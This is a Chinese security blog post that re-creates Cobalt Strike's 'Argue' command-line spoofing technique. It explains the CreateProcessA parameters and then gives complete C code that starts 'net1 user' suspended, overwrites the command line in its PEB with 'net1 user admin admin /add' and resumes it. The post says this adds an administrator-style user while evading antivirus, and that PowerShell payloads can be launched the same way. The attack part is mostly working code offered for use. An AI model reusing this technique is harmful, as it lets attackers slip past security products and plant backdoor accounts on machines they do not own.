WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

Argue实现

Argue是CobaltScrike上面的一个工具,用于污染参数达到bypassav执行一些命令的效果

0x01 实现过程

  1. 用CreateProcessA创建进程并挂起主线程
  2. 修改PEB中的命令行参数
  3. 启动挂起进程

0x02 函数介绍

其实这次用到的函数之前就都用过了,挂起线程在进程注入那篇文章也写过类似的

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

lpApplicationName 要执行模块的路径,这个模块如果后面需要参数就可以写在下面的命令行中

(这个真有点解释不清楚,简单说就是这个参数如果是C:\\Windows\\system32\\cmd.exe,下一个参数可以是 “/c 要执行的命令” )

lpCommandLine 要执行的命令行

lpProcessAttributes 这种SECURITY_ATTRIBUTES结构体基本没用到过直接写NULL

lpThreadAttributes 和上面一样

bInheritHandles 新进程是否从调用进程中继承句柄

dwCreationFlags 设置进程的创建的标志,简单的说就是进程创建之后的一些属性就是这个定义的,挂起进程的主线程也是这里定义的

具体可以看:https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags

lpEnvironment 指向新进程环境块的指针,如果为NULL新进程使用调用进程的环境,这个简单的说就会是把指向新进程PEB的指针放在当前进程的环境中,并不是把所有PEB都放在当前进程中

lpCurrentDirectory 当前程序的绝对路径,如果为NULL,新进程将使用和调用进程相同的绝对路径,有环境变量还是可以正常调用的

lpStartupInfo 指向一个STARTUPINFOA结构,这个结构包含新进程主窗体的信息

lpProcessInformation 指向一个PROCESS_INFORMATION结构,这个结构包含进程的信息,有进程ID,线程ID,主进程句柄和主线程句柄

官方文档:https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa

0x03 代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<stdio.h>
#include<Windows.h>
#include<winternl.h>

typedef NTSTATUS(WINAPI* typedef_NtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);

int main() {
HMODULE Ntdll = LoadLibraryA("ntdll.dll");
PROCESS_BASIC_INFORMATION pbi = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
PEB peb = { 0 };
ULONG len = 0;
STARTUPINFOA si;
si.cb = sizeof(si); //cb一定要传STARTUPINFOA结构大小,不然要报错
PROCESS_INFORMATION pi;
CreateProcessA(NULL, (LPSTR)"net1 user", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
typedef_NtQueryInformationProcess NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(Ntdll, "NtQueryInformationProcess");
NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &len);
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
WCHAR lpwszCmd[] = L"net1 user admin admin /add";
BOOL ret32 = WriteProcessMemory(pi.hProcess, Param.CommandLine.Buffer, lpwszCmd, sizeof(lpwszCmd), NULL);
ResumeThread(pi.hThread);
return 0;
}

可以绕过杀毒软件添加用户,当然powershell也是可以用同样的方法上线的,要是杀软拦截powershell可以先用没用的命令填充再替换,然后启动挂起的进程

其实就是关于修改PEB伪装进程那篇文章的展开,函数也都是一样的就多了一个创建进程